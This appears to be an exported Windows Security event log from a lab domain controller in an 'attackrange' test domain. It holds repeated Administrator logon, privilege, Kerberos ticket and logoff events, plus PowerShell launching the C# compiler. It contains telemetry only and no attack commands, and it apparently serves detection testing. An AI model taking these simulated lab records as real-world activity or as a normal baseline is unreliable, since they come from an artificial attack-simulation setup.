-EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253461 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46FA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253460 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46FA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3BDDF32C-A205-A474-0B50-7B89394A52BB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253459 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3BDDF32C-A205-A474-0B50-7B89394A52BB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253458 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3BDDF32C-A205-A474-0B50-7B89394A52BB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253457 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253456 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46BA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253455 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF91F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253454 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AFEED - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253453 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46BA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253452 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B46BA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3BDDF32C-A205-A474-0B50-7B89394A52BB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253451 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3BDDF32C-A205-A474-0B50-7B89394A52BB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253450 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3BDDF32C-A205-A474-0B50-7B89394A52BB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253449 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253448 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B4698 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253447 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B4698 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253446 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B4698 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3BDDF32C-A205-A474-0B50-7B89394A52BB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253445 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3BDDF32C-A205-A474-0B50-7B89394A52BB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253444 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3BDDF32C-A205-A474-0B50-7B89394A52BB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253443 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253442 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B445C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253441 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B2D84 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253440 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B03A4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253439 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B445C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253438 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B445C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3BDDF32C-A205-A474-0B50-7B89394A52BB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253437 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3BDDF32C-A205-A474-0B50-7B89394A52BB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253436 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3BDDF32C-A205-A474-0B50-7B89394A52BB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253435 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253434 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF91F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf90 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x138c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESF062.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCD6C9626DFA644438B1A667829E565056.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253433 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1AF91F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x138c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x378 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\4gshmrrs.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253489 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B7F6D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information 